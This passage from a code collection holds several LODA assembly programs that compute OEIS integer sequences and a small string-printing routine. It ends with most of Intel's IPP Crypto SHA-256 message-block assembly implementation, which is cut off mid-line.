afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/157/A157657.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A157657: a(1) = 1, a(n) = -mu(n) for n >= 2. ; 1,1,1,0,1,-1,1,0,0,-1,1,0,1,-1,-1,0,1,0,1,0,-1,-1,1,0,0,-1,0,0,1,1,1,0,-1,-1,-1,0,1,-1,-1,0,1,1,1,0,0,-1,1,0,0,0,-1,0,1,0,-1,0,-1,-1,1,0,1,-1,0,0,-1,1,1,0,-1,1,1,0,1,-1,0,0,-1,1,1,0,0,-1,1,0,-1,-1,-1,0,1,0,-1,0,-1,-1,-1,0,1,0,0,0 max $0,2 seq $0,8683 ; Möbius (or Moebius) function mu(n). mu(1) = 1; mu(n) = (-1)^k if n is the product of k different primes; otherwise mu(n) = 0. sub $1,$0 mov $0,$1
56.125
231
0.498886
2cffaa04aea821345dce844a84e26f8b70ce7e88
386
asm
Assembly
oeis/147/A147688.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/147/A147688.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/147/A147688.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A147688: a(n) = ((6 + sqrt(8))^n + (6 - sqrt(8))^n))/2. ; Submitted by Jon Maiga ; 1,6,44,360,3088,26976,237248,2091648,18456832,162915840,1438198784,12696741888,112091336704,989587267584,8736489783296,77129433907200,680931492954112,6011553766047744,53072563389857792,468547255228956672 mov $1,1 mov $2,2 lpb $0 sub $0,1 mul $1,4 add $1,$2 mul $2,7 add $2,$1 lpe mov $0,$1
25.733333
205
0.709845
6b145a437c600b4aeb1ddeebcd815a28465ab6ae
694
asm
Assembly
oeis/054/A054318.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/054/A054318.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/054/A054318.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A054318: a(n)-th star number (A003154) is a square. ; Submitted by Jamie Morken(s1) ; 1,5,45,441,4361,43165,427285,4229681,41869521,414465525,4102785725,40613391721,402031131481,3979697923085,39394948099365,389969783070561,3860302882606241,38213059042991845,378270287547312205,3744489816430130201,37066627876753989801,366921788951109767805,3632151261634343688245,35954590827392327114641,355913757012288927458161,3523182979295496947466965,34875916035942680547211485,345235977380131308524647881,3417483857765370404699267321,33829602600273572738468025325,334878542144970356979980985925 lpb $0 sub $0,1 mov $1,$3 mul $1,8 add $2,1 add $2,$1 add $3,$2 lpe mov $0,$3 mul $0,4 add $0,1
43.375
498
0.834294
a15917eddb3b3137d5add469f5d0f577f6147886
703
asm
Assembly
programs/oeis/208/A208881.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/208/A208881.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/208/A208881.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A208881: Number of words either empty or beginning with the first letter of the ternary alphabet, where each letter of the alphabet occurs n times. ; 1,2,30,560,11550,252252,5717712,133024320,3155170590,75957810500,1850332263780,45508998487680,1128243920840400,28159366024288800,706857555303576000,17831659928458210560,451781821468671694110,11489952898943726476500,293206575828601020085500,7504788810682197854820000,192610404826158607943955300,4955459530969604457442441800,127777138319216247167110896000,3301432753397065531720362432000,85458962418663623399219798370000,2215916711930980289292409683814752,57548274844172026566298142616940512 mov $1,$0 sub $2,$0 sub $0,$2 bin $2,$0 bin $0,$1 mul $0,$2
70.3
491
0.871977
80cffa72f82186e3abccb7a050aa7c26b8dfed06
675
asm
Assembly
oeis/206/A206492.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/206/A206492.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/206/A206492.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A206492: Sums of rows of the sequence of triangles with nonnegative integers and row widths defined by A004738. ; Submitted by Jamie Morken(s4) ; 0,3,3,9,21,19,11,25,45,74,66,49,26,55,90,134,190,170,138,97,50,103,162,230,310,405,365,310,243,167,85,173,267,370,485,615,763,693,605,502,387,263,133,269,411,562,725,903,1099,1316,1204,1071,920,754,576,389 mov $4,2 mov $6,$0 lpb $4 mov $0,$6 mov $2,0 sub $4,1 add $0,$4 trn $0,1 seq $0,213040 ; Partial sums of A004738, leftmost column of the sequence of triangles defined in A206492. add $2,$0 mov $3,$4 mov $5,$2 bin $5,2 mul $3,$5 add $1,$3 pow $6,$4 mov $7,$5 lpe mul $6,$7 sub $1,$6 mov $0,$1
25.961538
207
0.662222
c77d2983a7834814341fa5bd66feb72bedf79649
453
asm
Assembly
oeis/213/A213527.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/213/A213527.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/213/A213527.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A213527: E.g.f.: exp( Sum_{n>=1} Fibonacci(n+1)*x^n/n ), where Fibonacci(n) = A000045(n). ; Submitted by Jamie Morken(s1) ; 1,1,3,13,79,603,5593,60859,760929,10743337,169068619,2934088509,55666365007,1146171490387,25454016551601,606459860389867,15430511490348097,417572419595723601,11975721373433624851,362832170044253318893,11579878816694604949071 mov $3,1 lpb $0 mov $2,$3 add $3,$1 mul $3,$0 sub $0,1 mov $1,$0 mul $1,$2 lpe mov $0,$3
30.2
226
0.730684
881f35c9dce717582967124966f0e83620f9f101
484
asm
Assembly
F0xC_LINUX/include/util/printString.asm
Pusty/F0xC
946be39e872d9f1119cf04290cb7aa3aac39a9bc
[ "BSL-1.0" ]
null
null
null
F0xC_LINUX/include/util/printString.asm
Pusty/F0xC
946be39e872d9f1119cf04290cb7aa3aac39a9bc
[ "BSL-1.0" ]
null
null
null
F0xC_LINUX/include/util/printString.asm
Pusty/F0xC
946be39e872d9f1119cf04290cb7aa3aac39a9bc
[ "BSL-1.0" ]
null
null
null
%ifndef PRINT_STR %define PRINT_STR ;2 args (string addr, len) ;example push string \ push 8 \ call printString ;std_addr = ADDR TEMP STORAGE ;str_tmp = 16 byte reserved ;std_handle = STD OUTPUT HANDLE printString: pop dword [std_addr] ;this is apparently the address, so let's just save it and push it back later :) pop ebx pop eax push edx push ecx mov edx, ebx mov ecx, eax mov ebx, 1 mov eax, 4 int 0x80 pop ecx pop edx push dword [std_addr] ret %endif
16.689655
102
0.708678
6b7a84019e320a2d0c419eb42243b3cc9c3e416f
10
asm
Assembly
src/main/fragment/mos6502-common/vbuaa=vbuaa_band_vbuc1.asm
jbrandwood/kickc
d4b68806f84f8650d51b0e3ef254e40f38b0ffad
[ "MIT" ]
2
2022-03-01T02:21:14.000Z
2022-03-01T04:33:35.000Z
src/main/fragment/mos6502-common/vbuaa=vbuaa_band_vbuc1.asm
jbrandwood/kickc
d4b68806f84f8650d51b0e3ef254e40f38b0ffad
[ "MIT" ]
null
null
null
src/main/fragment/mos6502-common/vbuaa=vbuaa_band_vbuc1.asm
jbrandwood/kickc
d4b68806f84f8650d51b0e3ef254e40f38b0ffad
[ "MIT" ]
null
null
null
and #{c1}
5
9
0.5
fd6b9e399a1593e6b8a8156a0fd47b2527fccef2
420
asm
Assembly
programs/oeis/082/A082569.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/082/A082569.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/082/A082569.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A082569: a(1)=2; a(n)=ceiling(n*(a(n-1)-1/a(n-1))). ; 2,3,8,32,160,960,6720,53760,483840,4838400,53222400,638668800,8302694400,116237721600,1743565824000,27897053184000,474249904128000,8536498274304000,162193467211776000,3243869344235520000 mov $1,1 add $1,$0 seq $1,142 ; Factorial numbers: n! = 1*2*3*4*...*n (order of symmetric group S_n, number of permutations of n letters). mul $1,4 add $1,2 div $1,3 mov $0,$1
38.181818
188
0.730952
11ed6e9036a5fad0e007c3f8b6e59dc84e75c2f2
16,870
asm
Assembly
sources/ippcp/asm_intel64/pcpsha256m7as.asm
ymarkovitch/ipp-crypto
ac8f1c443cc79e9f2f8508f8c707c9ed0caa22c8
[ "Apache-2.0" ]
null
null
null
sources/ippcp/asm_intel64/pcpsha256m7as.asm
ymarkovitch/ipp-crypto
ac8f1c443cc79e9f2f8508f8c707c9ed0caa22c8
[ "Apache-2.0" ]
null
null
null
sources/ippcp/asm_intel64/pcpsha256m7as.asm
ymarkovitch/ipp-crypto
ac8f1c443cc79e9f2f8508f8c707c9ed0caa22c8
[ "Apache-2.0" ]
null
null
null
;=============================================================================== ; Copyright 2015-2019 Intel Corporation ; All Rights Reserved. ; ; If this software was obtained under the Intel Simplified Software License, ; the following terms apply: ; ; The source code, information and material ("Material") contained herein is ; owned by Intel Corporation or its suppliers or licensors, and title to such ; Material remains with Intel Corporation or its suppliers or licensors. The ; Material contains proprietary information of Intel or its suppliers and ; licensors. The Material is protected by worldwide copyright laws and treaty ; provisions. No part of the Material may be used, copied, reproduced, ; modified, published, uploaded, posted, transmitted, distributed or disclosed ; in any way without Intel's prior express written permission. No license under ; any patent, copyright or other intellectual property rights in the Material ; is granted to or conferred upon you, either expressly, by implication, ; inducement, estoppel or otherwise. Any license under such intellectual ; property rights must be express and approved by Intel in writing. ; ; Unless otherwise agreed by Intel in writing, you may not remove or alter this ; notice or any other notice embedded in Materials by Intel or Intel's ; suppliers or licensors in any way. ; ; ; If this software was obtained under the Apache License, Version 2.0 (the ; "License"), the following terms apply: ; ; You may not use this file except in compliance with the License. You may ; obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 ; ; ; Unless required by applicable law or agreed to in writing, software ; distributed under the License is distributed on an "AS IS" BASIS, WITHOUT ; WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. ; ; See the License for the specific language governing permissions and ; limitations under the License. ;=============================================================================== ; ; ; Purpose: Cryptography Primitive. ; Message block processing according to SHA256 ; ; Content: ; UpdateSHA256 ; include asmdefs.inc include ia_32e.inc include ia_32e_regs.inc include pcpvariant.inc IF (_ENABLE_ALG_SHA256_) IF (_SHA_NI_ENABLING_ EQ _FEATURE_OFF_) OR (_SHA_NI_ENABLING_ EQ _FEATURE_TICKTOCK_) IF (_IPP32E GE _IPP32E_M7) AND (_IPP32E LT _IPP32E_U8 ) ;; ;; ENDIANNESS ;; ENDIANNESS MACRO dst:REQ,src:REQ IFDIF <dst>,<src> mov dst,src ENDIF bswap dst ENDM ;; ;; single SHA256 step ;; ;; Ipp32u T1 = H + SUM1(E) + CH(E,F,G) + K_SHA256[t] + W[t]; ;; Ipp32u T2 = SUM0(A) + MAJ(A,B,C); ;; D+= T1; ;; H = T1 + T2; ;; ;; where ;; SUM1(x) = ROR(x,6) ^ ROR(x,11) ^ ROR(x,25) ;; SUM0(x) = ROR(x,2) ^ ROR(x,13) ^ ROR(x,22) ;; ;; CH(x,y,z) = (x & y) ^ (~x & z) ;; MAJ(x,y,z) = (x & y) ^ (x & z) ^ (y & z) = (x&y)^((x^y)&z) ;; SHA256_STEP_2 MACRO regA:REQ,regB:REQ,regC:REQ,regD:REQ,regE:REQ,regF:REQ,regG:REQ,regH:REQ, \ regT:REQ,regF1:REQ,regF2:REQ, \ memW:REQ, immCNT:REQ ;; update H (start) add regH&d,immCNT ;; H += W[t]+K_SHA256[t] add regH&d,[memW] ;; compute T = SUM1(E) + CH(E,F,G) mov regF1&d,regE&d ;; SUM1() = E mov regF2&d,regE&d ;; CH() = E ror regF1&d,6 ;; ROR(E,6) mov regT&d, regE&d push regE not regF2&d ;; ~E ror regE&d, 11 ;; ROR(E,11) and regT&d, regF&d ;; E&F and regF2&d,regG&d ;;~E&G xor regF1&d,regE&d ;; ROR(E,6)^ROR(E,11) ror regE&d, 14 ;; ROR(E,25) xor regF2&d,regT&d ;; CH() = (E&F)&(~E&G) xor regF1&d,regE&d ;; SUM1() = ROR(E,6)^ROR(E,11)^ROR(E,25) pop regE ;; repair E lea regT, [regF1+regF2] ;; update H (continue) add regH&d, regT&d ;; update D add regD&d, regH&d ;; compute T = SUM0(A) + MAJ(A,B,C) mov regF1&d,regA&d ;; SUM0() = A mov regF2&d,regA&d ;; MAJ() = A ror regF1&d,2 ;; ROR(A,2) mov regT&d, regA&d push regA xor regF2&d,regB&d ;; A^B ror regA&d, 13 ;; ROR(A,13) and regT&d, regB&d ;; A&B and regF2&d,regC&d ;; (A^B)&C xor regF1&d,regA&d ;; ROR(A,2)^ROR(A,13) ror regA&d, 9 ;; ROR(A,22) xor regF2&d,regT&d ;; MAJ() = (A^B)^((A^B)&C) xor regF1&d,regA&d ;; SUM0() = ROR(A,2)^ROR(A,13)^ROR(A,22) pop regA ;; repair A lea regT, [regF1+regF2] ;; update H (finish) add regH&d, regT&d ENDM ;; ;; update W[] ;; ;; W[j] = SIG1(W[j- 2]) + W[j- 7] ;; +SIG0(W[j-15]) + W[j-16] ;; ;; SIG0(x) = ROR(x,7) ^ROR(x,18) ^LSR(x,3) ;; SIG1(x) = ROR(x,17)^ROR(x,19) ^LSR(x,10) ;; UPDATE_2 MACRO nr:REQ, sig0, sig1, W15, W2 mov sig0, [rsp+((nr-15) and 0Fh)*4] ;; W[j-15] mov sig1, [rsp+((nr-2) and 0Fh)*4] ;; W[j-2] shr sig0, 3 shr sig1, 10 mov W15, [rsp+((nr-15) and 0Fh)*4] ;; W[j-15] mov W2, [rsp+((nr-2) and 0Fh)*4] ;; W[j-2] ror W15, 7 ror W2, 17 xor sig0, W15 ;; SIG0 = LSR(W[j-15], 3) xor sig1, W2 ;; SIG1 = LSR(W[j-2], 10) ror W15, 11 ;; ROR(W[j-15], 18) ror W2, 2 ;; ROR(W[j-2, 19) xor sig0, W15 xor sig1, W2 add sig0, [rsp+((nr-16) and 0Fh)*4] ;;SIG0 += W[j-16] add sig1, [rsp+((nr-7) and 0Fh)*4] ;;SIG1 += W[j-7] add sig0, sig1 mov [rsp+((nr-16) and 0Fh)*4], sig0 ENDM IPPCODE SEGMENT 'CODE' ALIGN (IPP_ALIGN_FACTOR) ;****************************************************************************************** ;* Purpose: Update internal digest according to message block ;* ;* void UpdateSHA256(DigestSHA256 digest, const Ipp32u* mblk, int mlen, const void* pParam) ;* ;****************************************************************************************** ;; ;; Lib = M7 ;; ;; Caller = ippsSHA256Update ;; Caller = ippsSHA256Final ;; Caller = ippsSHA256MessageDigest ;; ;; Caller = ippsSHA224Update ;; Caller = ippsSHA224Final ;; Caller = ippsSHA224MessageDigest ;; ;; Caller = ippsHMACSHA256Update ;; Caller = ippsHMACSHA256Final ;; Caller = ippsHMACSHA256MessageDigest ;; ;; Caller = ippsHMACSHA224Update ;; Caller = ippsHMACSHA224Final ;; Caller = ippsHMACSHA224MessageDigest ;; IF _IPP32E GE _IPP32E_U8 ALIGN IPP_ALIGN_FACTOR pByteSwp DB 3,2,1,0, 7,6,5,4, 11,10,9,8, 15,14,13,12 ENDIF ALIGN IPP_ALIGN_FACTOR IPPASM UpdateSHA256 PROC PUBLIC FRAME USES_GPR rbx,rsi,rdi,r12,r13,r14,r15 LOCAL_FRAME = (16*sizeof(dword) + sizeof(qword)) USES_XMM COMP_ABI 4 ;; rdi = digest ;; rsi = data buffer ;; rdx = buffer len ;; rcx = dummy parameter MBS_SHA256 equ (64) movsxd rdx, edx mov qword ptr[rsp+16*sizeof(dword)], rdx ; save length of buffer ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;; ;; process next data block ;; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; sha256_block_loop: ;; ;; initialize the first 16 words in the array W (remember about endian) ;; IF _IPP32E GE _IPP32E_U8 movdqa xmm4, oword ptr pByteSwp movdqu xmm0, oword ptr [rsi+0*16] pshufb xmm0, xmm4 movdqa oword ptr [rsp+0*16], xmm0 movdqu xmm1, oword ptr [rsi+1*16] pshufb xmm1, xmm4 movdqa oword ptr [rsp+1*16], xmm1 movdqu xmm2, oword ptr [rsi+2*16] pshufb xmm2, xmm4 movdqa oword ptr [rsp+2*16], xmm2 movdqu xmm3, oword ptr [rsi+3*16] pshufb xmm3, xmm4 movdqa oword ptr [rsp+3*16], xmm3 ELSE xor rcx,rcx loop1: mov r8d,[rsi+rcx*4+0*4] ENDIANNESS r8d,r8d mov [rsp+rcx*4+0*4],r8d mov r9d,[rsi+rcx*4+1*4] ENDIANNESS r9d,r9d mov [rsp+rcx*4+1*4],r9d add rcx,2 cmp rcx,16 jl loop1 ENDIF ;; ;; init A, B, C, D, E, F, G, H by the internal digest ;; mov r8d, [rdi+0*4] ; r8d = digest[0] (A) mov r9d, [rdi+1*4] ; r9d = digest[1] (B) mov r10d,[rdi+2*4] ; r10d= digest[2] (C) mov r11d,[rdi+3*4] ; r11d= digest[3] (D) mov r12d,[rdi+4*4] ; r12d= digest[4] (E) mov r13d,[rdi+5*4] ; r13d= digest[5] (F) mov r14d,[rdi+6*4] ; r14d= digest[6] (G) mov r15d,[rdi+7*4] ; r15d= digest[7] (H) ;; ;; perform 0-64 steps ;; ;; A, B, C, D, E, F, G, H T, F1, F2, W[], K256 ;; ---------------------------------------------------------------------------- SHA256_STEP_2 r8, r9, r10,r11,r12,r13,r14,r15, rbx,rcx,rdx, <rsp+ 0*4>, 0428A2F98h UPDATE_2 16, eax,ebx, ecx,edx SHA256_STEP_2 r15,r8, r9, r10,r11,r12,r13,r14, rbx,rcx,rdx, <rsp+ 1*4>, 071374491h UPDATE_2 17, eax,ebx, ecx,edx SHA256_STEP_2 r14,r15,r8, r9, r10,r11,r12,r13, rbx,rcx,rdx, <rsp+ 2*4>, 0B5C0FBCFh UPDATE_2 18, eax,ebx, ecx,edx SHA256_STEP_2 r13,r14,r15,r8, r9, r10,r11,r12, rbx,rcx,rdx, <rsp+ 3*4>, 0E9B5DBA5h UPDATE_2 19, eax,ebx, ecx,edx SHA256_STEP_2 r12,r13,r14,r15,r8, r9, r10,r11, rbx,rcx,rdx, <rsp+ 4*4>, 03956C25Bh UPDATE_2 20, eax,ebx, ecx,edx SHA256_STEP_2 r11,r12,r13,r14,r15,r8, r9, r10, rbx,rcx,rdx, <rsp+ 5*4>, 059F111F1h UPDATE_2 21, eax,ebx, ecx,edx SHA256_STEP_2 r10,r11,r12,r13,r14,r15,r8, r9, rbx,rcx,rdx, <rsp+ 6*4>, 0923F82A4h UPDATE_2 22, eax,ebx, ecx,edx SHA256_STEP_2 r9, r10,r11,r12,r13,r14,r15,r8, rbx,rcx,rdx, <rsp+ 7*4>, 0AB1C5ED5h UPDATE_2 23, eax,ebx, ecx,edx SHA256_STEP_2 r8, r9, r10,r11,r12,r13,r14,r15, rbx,rcx,rdx, <rsp+ 8*4>, 0D807AA98h UPDATE_2 24, eax,ebx, ecx,edx SHA256_STEP_2 r15,r8, r9, r10,r11,r12,r13,r14, rbx,rcx,rdx, <rsp+ 9*4>, 012835B01h UPDATE_2 25, eax,ebx, ecx,edx SHA256_STEP_2 r14,r15,r8, r9, r10,r11,r12,r13, rbx,rcx,rdx, <rsp+10*4>, 0243185BEh UPDATE_2 26, eax,ebx, ecx,edx SHA256_STEP_2 r13,r14,r15,r8, r9, r10,r11,r12, rbx,rcx,rdx, <rsp+11*4>, 0550C7DC3h UPDATE_2 27, eax,ebx, ecx,edx SHA256_STEP_2 r12,r13,r14,r15,r8, r9, r10,r11, rbx,rcx,rdx, <rsp+12*4>, 072BE5D74h UPDATE_2 28, eax,ebx, ecx,edx SHA256_STEP_2 r11,r12,r13,r14,r15,r8, r9, r10, rbx,rcx,rdx, <rsp+13*4>, 080DEB1FEh UPDATE_2 29, eax,ebx, ecx,edx SHA256_STEP_2 r10,r11,r12,r13,r14,r15,r8, r9, rbx,rcx,rdx, <rsp+14*4>, 09BDC06A7h UPDATE_2 30, eax,ebx, ecx,edx SHA256_STEP_2 r9, r10,r11,r12,r13,r14,r15,r8, rbx,rcx,rdx, <rsp+15*4>, 0C19BF174h UPDATE_2 31, eax,ebx, ecx,edx SHA256_STEP_2 r8, r9, r10,r11,r12,r13,r14,r15, rbx,rcx,rdx, <rsp+ 0*4>, 0E49B69C1h UPDATE_2 32, eax,ebx, ecx,edx SHA256_STEP_2 r15,r8, r9, r10,r11,r12,r13,r14, rbx,rcx,rdx, <rsp+ 1*4>, 0EFBE4786h UPDATE_2 33, eax,ebx, ecx,edx SHA256_STEP_2 r14,r15,r8, r9, r10,r11,r12,r13, rbx,rcx,rdx, <rsp+ 2*4>, 00FC19DC6h UPDATE_2 34, eax,ebx, ecx,edx SHA256_STEP_2 r13,r14,r15,r8, r9, r10,r11,r12, rbx,rcx,rdx, <rsp+ 3*4>, 0240CA1CCh UPDATE_2 35, eax,ebx, ecx,edx SHA256_STEP_2 r12,r13,r14,r15,r8, r9, r10,r11, rbx,rcx,rdx, <rsp+ 4*4>, 02DE92C6Fh UPDATE_2 36, eax,ebx, ecx,edx SHA256_STEP_2 r11,r12,r13,r14,r15,r8, r9, r10, rbx,rcx,rdx, <rsp+ 5*4>, 04A7484AAh UPDATE_2 37, eax,ebx, ecx,edx SHA256_STEP_2 r10,r11,r12,r13,r14,r15,r8, r9, rbx,rcx,rdx, <rsp+ 6*4>, 05CB0A9DCh UPDATE_2 38, eax,ebx, ecx,edx SHA256_STEP_2 r9, r10,r11,r12,r13,r14,r15,r8, rbx,rcx,rdx, <rsp+ 7*4>, 076F988DAh UPDATE_2 39, eax,ebx, ecx,edx SHA256_STEP_2 r8, r9, r10,r11,r12,r13,r14,r15, rbx,rcx,rdx, <rsp+ 8*4>, 0983E5152h UPDATE_2 40, eax,ebx, ecx,edx SHA256_STEP_2 r15,r8, r9, r10,r11,r12,r13,r14, rbx,rcx,rdx, <rsp+ 9*4>, 0A831C66Dh UPDATE_2 41, eax,ebx, ecx,edx SHA256_STEP_2 r14,r15,r8, r9, r10,r11,r12,r13, rbx,rcx,rdx, <rsp+10*4>, 0B00327C8h UPDATE_2 42, eax,ebx, ecx,edx SHA256_STEP_2 r13,r14,r15,r8, r9, r10,r11,r12, rbx,rcx,rdx, <rsp+11*4>, 0BF597FC7h UPDATE_2 43, eax,ebx, ecx,edx SHA256_STEP_2 r12,r13,r14,r15,r8, r9, r10,r11, rbx,rcx,rdx, <rsp+12*4>, 0C6E00BF3h UPDATE_2 44, eax,ebx, ecx,edx SHA256_STEP_2 r11,r12,r13,r14,r15,r8, r9, r10, rbx,rcx,rdx, <rsp+13*4>, 0D5A79147h UPDATE_2 45, eax,ebx, ecx,edx SHA256_STEP_2 r10,r11,r12,r13,r14,r15,r8, r9, rbx,rcx,rdx, <rsp+14*4>, 006CA6351h UPDATE_2 46, eax,ebx, ecx,edx SHA256_STEP_2 r9, r10,r11,r12,r13,r14,r15,r8, rbx,rcx,rdx, <rsp+15*4>, 014292967h UPDATE_2 47, eax,ebx, ecx,edx SHA256_STEP_2 r8, r9, r10,r11,r12,r13,r14,r15, rbx,rcx,rdx, <rsp+ 0*4>, 027B70A85h UPDATE_2 48, eax,ebx, ecx,edx SHA256_STEP_2 r15,r8, r9, r10,r11,r12,r13,r14, rbx,rcx,rdx, <rsp+ 1*4>, 02E1B2138h UPDATE_2 49, eax,ebx, ecx,edx SHA256_STEP_2 r14,r15,r8, r9, r10,r11,r12,r13, rbx,rcx,rdx, <rsp+ 2*4>, 04D2C6DFCh UPDATE_2 50, eax,ebx, ecx,edx SHA256_STEP_2 r13,r14,r15,r8, r9, r10,r11,r12, rbx,rcx,rdx, <rsp+ 3*4>, 053380D13h UPDATE_2 51, eax,ebx, ecx,edx SHA256_STEP_2 r12,r13,r14,r15,r8, r9, r10,r11, rbx,rcx,rdx, <rsp+ 4*4>, 0650A7354h UPDATE_2 52, eax,ebx, ecx,edx SHA256_STEP_2 r11,r12,r13,r14,r15,r8, r9, r10, rbx,rcx,rdx, <rsp+ 5*4>, 0766A0ABBh UPDATE_2 53, eax,ebx, ecx,edx SHA256_STEP_2 r10,r11,r12,r13,r14,r15,r8, r9, rbx,rcx,rdx, <rsp+ 6*4>, 081C2C92Eh UPDATE_2 54, eax,ebx, ecx,edx SHA256_STEP_2 r9, r10,r11,r12,r13,r14,r15,r8, rbx,rcx,rdx, <rsp+ 7*4>, 092722C85h UPDATE_2 55, eax,ebx, ecx,edx SHA256_STEP_2 r8, r9, r10,r11,r12,r13,r14,r15, rbx,rcx,rdx, <rsp+ 8*4>, 0A2BFE8A1h UPDATE_2 56, eax,ebx, ecx,edx SHA256_STEP_2 r15,r8, r9, r10,r11,r12,r13,r14, rbx,rcx,rdx, <rsp+ 9*4>, 0A81A664Bh UPDATE_2 57, eax,ebx, ecx,edx SHA256_STEP_2 r14,r15,r8, r9, r10,r11,r12,r13, rbx,rcx,rdx, <rsp+10*4>, 0C24B8B70h UPDATE_2 58, eax,ebx, ecx,edx SHA256_STEP_2 r13,r14,r15,r8, r9, r10,r11,r12, rbx,rcx,rdx, <rsp+11*4>, 0C76C51A3h UPDATE_2 59, eax,ebx, ecx,edx SHA256_STEP_2 r12,r13,r14,r15,r8, r9, r10,r11, rbx,rcx,rdx, <rsp+12*4>, 0D192E819h UPDATE_2 60, eax,ebx, ecx,edx SHA256_STEP_2 r11,r12,r13,r14,r15,r8, r9, r10, rbx,rcx,rdx, <rsp+13*4>, 0D6990624h UPDATE_2 61, eax,ebx, ecx,edx SHA256_STEP_2 r10,r11,r12,r13,r14,r15,r8, r9, rbx,rcx,rdx, <rsp+14*4>, 0F40E3585h UPDATE_2 62, eax,ebx, ecx,edx SHA256_STEP_2 r9, r10,r11,r12,r13,r14,r15,r8, rbx,rcx,rdx, <rsp+15*4>, 0106AA070h UPDATE_2 63, eax,ebx, ecx,edx SHA256_STEP_2 r8, r9, r10,r11,r12,r13,r14,r15, rbx,rcx,rdx, <rsp+ 0*4>, 019A4C116h SHA256_STEP_2 r15,r8, r9, r10,r11,r12,r13,r14, rbx,rcx,rdx, <rsp+ 1*4>, 01E376C08h SHA256_STEP_2 r14,r15,r8, r9, r10,r11,r12,r13, rbx,rcx,rdx, <rsp+ 2*4>, 02748774Ch SHA256_STEP_2 r13,r14,r15,r8, r9, r10,r11,r12, rbx,rcx,rdx, <rsp+ 3*4>, 034B0BCB5h SHA256_STEP_2 r12,r13,r14,r15,r8, r9, r10,r11, rbx,rcx,rdx, <rsp+ 4*4>, 0391C0CB3h SHA256_STEP_2 r11,r12,r13,r14,r15,r8, r9, r10, rbx,rcx,rdx, <rsp+ 5*4>, 04ED8AA4Ah SHA256_STEP_2 r10,r11,r12,r13,r14,r15,r8, r9, rbx,rcx,rdx, <rsp+ 6*4>, 05B9CCA4Fh SHA256_STEP_2 r9, r10,r11,r12,r13,r14,r15,r8, rbx,rcx,rdx, <rsp+ 7*4>, 0682E6FF3h SHA256_STEP_2 r8, r9, r10,r11,r12,r13,r14,r15, rbx,rcx,rdx, <rsp+ 8*4>, 0748F82EEh SHA256_STEP_2 r15,r8, r9, r10,r11,r12,r13,r14, rbx,rcx,rdx, <rsp+ 9*4>, 078A5636Fh SHA256_STEP_2 r14,r15,r8, r9, r10,r11,r12,r13, rbx,rcx,rdx, <rsp+10*4>, 084C87814h SHA256_STEP_2 r13,r14,r15,r8, r9, r10,r11,r12, rbx,rcx,rdx, <rsp+11*4>, 08CC70208h SHA256_STEP_2 r12,r13,r14,r15,r8, r9, r10,r11, rbx,rcx,rdx, 